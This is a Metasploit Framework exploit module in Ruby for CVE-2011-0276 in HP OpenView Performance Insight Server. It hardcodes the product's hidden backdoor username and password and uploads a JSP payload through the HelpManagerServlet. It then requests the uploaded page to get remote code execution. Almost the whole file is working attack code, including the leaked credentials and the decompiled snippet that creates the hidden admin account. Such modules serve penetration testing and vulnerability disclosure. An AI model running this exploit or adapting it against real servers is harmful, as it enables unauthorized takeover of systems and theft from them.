##
# $Id: hp_openview_insight_backdoor.rb 11969 2011-03-15 21:56:11Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP OpenView Performance Insight Server Backdoor Account Code Execution',
      'Description'    => %q{
          This module exploits a hidden account in the com.trinagy.security.XMLUserManager Java
        class. When using this account, an attacker can abuse the 
        com.trinagy.servlet.HelpManagerServlet class and write arbitary files to the system 
        allowing the execution of arbitary code.

        NOTE: This module has only been tested against HP OpenView Performance Insight Server 5.41.0
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 11969 $',
      'Platform'       => 'win',
      'Privileged'     => true,
      'References'     =>
        [
          [ 'CVE', '2011-0276' ],
          [ 'OSVDB', '70754' ],
        ],
      'Targets'        =>
        [
          [ 'Universal Windows Target',
            {
              'Arch'     => ARCH_JAVA,
              'Payload'  =>
                {
                  'DisableNops' => true,
                },
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 31 2011'))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('USERNAME', [ false, 'The username to authenticate as', 'hch908v' ]),
        OptString.new('PASSWORD', [ false, 'The password for the specified username', 'z6t0j$+i' ])
      ], self.class )

  end

  def exploit

    creds = "#{datastore['USERNAME']}" + ":" + "#{datastore['PASSWORD']}"

    dir  = rand_text_alpha_upper(rand(8) + 1)
    page = rand_text_alpha_upper(8) + ".jsp"
    uid  = rand(20).to_s

    file =  "-----------------------------#{uid}\r\n"
    file << "Content-Disposition: form-data; name=\"filename\"; filename=\"#{page}\"\r\n"
    file << "Content-Type: application/x-java-archive\r\n\r\n"
    file << payload.encoded + "\r\n"
    file <<  "-----------------------------#{uid}\r\n"
    # if (p.getName().equals("location")); ...
    file << "Content-Disposition: form-data; name=\"location\"\r\n"
    file << "Content-Type: text/plain\r\n\r\n"
    file << dir + "\r\n"
    file << "-----------------------------#{uid}\r\n\r\n"

    print_status("Sending our POST request...")

    res = send_request_cgi(
      {
        'uri'    => "/reports/helpmanager",
        'version'  => '1.1',
        'method'  => 'POST',
        'ctype'         => 'multipart/form-data; boundary=---------------------------' + uid,
        'data'    => file,
        'headers'  =>
          {
=begin
this.internal = new User("hch908v");
this.internal.setName("hidden user");
this.internal.setEncryptedPassword(TrendCrypt.crypt("hch908v", "z6t0j$+i"));
this.internal.addRole("user");
this.internal.addRole("admin");
=end
            'Authorization' =>  "Basic #{Rex::Text.encode_base64(creds)}",

          }
      }, 5)
    
    if ( res and res.code == 200 )
      print_status("Login/Upload successful. Triggering payload at '/help/#{dir}/#{page}'...")
      send_request_raw({
          'uri'    => "/help/#{dir}/#{page}",
          'method'  => 'GET',
          'version'  => '1.0',
      }, 5)

      handler
    else
      print_error("Login/Upload refused!")
      return
    end
  end
end